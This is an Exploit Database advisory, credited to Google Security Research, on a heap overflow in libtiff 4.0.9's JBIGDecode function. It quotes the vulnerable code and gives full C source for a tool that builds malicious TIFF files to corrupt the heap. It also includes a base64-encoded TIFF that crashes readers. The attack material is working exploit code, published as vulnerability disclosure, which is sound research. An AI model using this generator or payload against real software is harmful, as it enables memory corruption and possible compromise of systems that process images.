libtiff 4.0.9 – Decodes Arbitrarily Sized JBIG into a Target Buffer

Exploit Database
115 阅读

作者： Google Security Research

日期： 2018-10-25
类别：
- dos
平台：
- linux
来源：https://www.exploit-db.com/exploits/45694/

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libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size.

The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it:

static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)

{

struct jbg_dec_state decoder;

int decodeStatus = 0;

unsigned char* pImage = NULL;

(void) size, (void) s;

if (isFillOrder(tif, tif->tif_dir.td_fillorder))

{

TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);

}

jbg_dec_init(&decoder);

(...)

decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,

(size_t)tif->tif_rawdatasize, NULL);

if (JBG_EOK != decodeStatus)

{

(...)

}

pImage = jbg_dec_getimage(&decoder, 0);

_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));

jbg_dec_free(&decoder);

return 1;

}

The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy.

The attack primitive here ends up as follows:

1) The attacker gets to perform an allocation of a size of his choosing.

2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer.

Reproducing testcases can be generated using the following C code:

=============================================================================

#include <stdlib.h>

#include <stdio.h>

#include <sys/stat.h>

#include <stdint.h>

#include "jbig.h"

void output_bie(unsigned char *start, size_t len, void *file)

{

fwrite(start, 1, len, (FILE *) file);

return;

}

int main(int argc, char**argv)

{

FILE* inputfile = fopen(argv[1], "rb");

FILE* outputfile = fopen(argv[2], "wb");

// Write the hacky TIF header.

unsigned char buf[] = {

0x49, 0x49, // Identifier.

0x2A, 0x00, // Version.

0xCA, 0x03, 0x00, 0x00, // First IFD offset.

0x32, 0x30, 0x30, 0x31,

0x3a, 0x31, 0x31, 0x3a,

0x32, 0x37, 0x20, 0x32,

0x31, 0x3a, 0x34, 0x30,

0x3a, 0x32, 0x38, 0x00,

0x38, 0x00, 0x00, 0x00,

0x01, 0x00, 0x00, 0x00,

0x38, 0x00, 0x00, 0x00,

0x00, 0x01, 0x00, 0x00

};

fwrite(&(buf[0]), sizeof(buf), 1, outputfile);

// Read the inputfile.

struct stat st;

stat(argv[1], &st);

size_t size = st.st_size;

unsigned char* data = malloc(size);

fread(data, size, 1, inputfile);

// Calculate how many "pixels" we have in the input.

unsigned char *bitmaps[1] = { data };

struct jbg_enc_state se;

jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile);

jbg_enc_out(&se);

jbg_enc_free(&se);

// The raw JBIG data has been written, now write the IFDs for the TIF file.

unsigned char ifds[] = {

0x0E, 0x00, // Number of entries. +0

0xFE, 0x00, // Subfile type.+2

0x04, 0x00, // Datatype: LONG.+6

0x01, 0x00, 0x00, 0x00, // 1 element. +10

0x00, 0x00, 0x00, 0x00, // 0+14

0x00, 0x01, // IMAGE_WIDTH+16

0x03, 0x00, // Datatype: SHORT. +18

0x01, 0x00, 0x00, 0x00, // 1 element. +22

0x96, 0x00, 0x00, 0x00, // 96 hex width.+26

0x01, 0x01, // IMAGE_LENGTH +28

0x03, 0x00, // SHORT+30

0x01, 0x00, 0x00, 0x00, // 1 element+34

0x96, 0x00, 0x00, 0x00, // 96 hex length. +38

0x02, 0x01, // BITS_PER_SAMPLE+40

0x03, 0x00, // SHORT+42

0x01, 0x00, 0x00, 0x00, // 1 element+46

0x01, 0x00, 0x00, 0x00, // 1+50

0x03, 0x01, // COMPRESSION+52

0x03, 0x00, // SHORT+54

0x01, 0x00, 0x00, 0x00, // 1 element+58

0x65, 0x87, 0x00, 0x00, // JBIG +62

0x06, 0x01, // PHOTOMETRIC+64

0x03, 0x00, // SHORT+66

0x01, 0x00, 0x00, 0x00, // 1 element+70

0x00, 0x00, 0x00, 0x00,// / +74

0x11, 0x01, // STRIP_OFFSETS+78

0x04, 0x00, // LONG +80

0x13, 0x00, 0x00, 0x00, // 0x13 elements+82

0x2C, 0x00, 0x00, 0x00, // Offset 2C in file+86

0x15, 0x01, // SAMPLES_PER_PIXEL+90

0x03, 0x00, // SHORT+92

0x01, 0x00, 0x00, 0x00, // 1 element+94

0x01, 0x00, 0x00, 0x00, // 1+98

0x16, 0x01, // ROWS_PER_STRIP +102

0x04, 0x00, // LONG +104

0x01, 0x00, 0x00, 0x00, // 1 element+106

0xFF, 0xFF, 0xFF, 0xFF, // Invalid+110

0x17, 0x01, // STRIP_BYTE_COUNTS+114

0x04, 0x00, // LONG +116

0x13, 0x00, 0x00, 0x00, // 0x13 elements+118

0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122

0x1A, 0x01, // X_RESOLUTION

0x05, 0x00, // RATIONAL

0x01, 0x00, 0x00, 0x00, // 1 element

0x1C, 0x00, 0x00, 0x00,

0x1B, 0x01, // Y_RESOLUTION

0x05, 0x00, // RATIONAL

0x01, 0x00, 0x00, 0x00, // 1 Element

0x24, 0x00, 0x00, 0x00,

0x28, 0x01, // RESOLUTION_UNIT

0x03, 0x00, // SHORT

0x01, 0x00, 0x00, 0x00, // 1 Element

0x02, 0x00, 0x00, 0x00, // 2

0x0A, 0x01, // FILL_ORDER

0x03, 0x00, // SHORT

0x01, 0x00, 0x00, 0x00, // 1 Element

0x02, 0x00, 0x00, 0x00, // Bit order inverted.

0x00, 0x00, 0x00, 0x00 };

// Adjust the offset for the IFDs.

uint32_t ifd_offset = ftell(outputfile);

fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile);

fseek(outputfile, 4, SEEK_SET);

fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

// Adjust the strip size properly.

fseek(outputfile, ifd_offset + 118, SEEK_SET);

fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile);

fclose(outputfile);

fclose(inputfile);

return 0;

}

===============================================================

Build & link with -ljbig.

You can then create a new TIFF file that corrupts the heap by doing

./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff

An example TIFF file that crashes various tiff readers is base64-encoded

below:

SUkqAEgYAAAyMDAxOjExOjI3IDIxOjQwOjI4ADgAAAABAAAAOAAAAAABAAAAAAEAAAC8uAAAAAEA

AAACCAADHNKk0nHy6CbJhVojbsYUZY8vZ+LcRHKCtFjvAcJJY+JibZEZudFeppijmo6K5rQICnd4

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Ch8ElW2dRwbu3s84jVJkaHSGLNBrA2vtCCKGwuZhkCKq+Uy/Lwov48I7uQoXOsif0xAemOgQv47v

wgwL0yKYY5e+Qp0mCG4kIMXh/Hl6WqiKVJ2vgds8WQuvGXWFLcRdDY7GQ3AIgcMm7s/YpHXeec/2

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Labels:

Vendor-libtiff

Product-libtiff

Severity-High

Methodology-source-review (e.g. Methodology-source-review)

Finder-thomasdullien

Reported-2018-Oct-13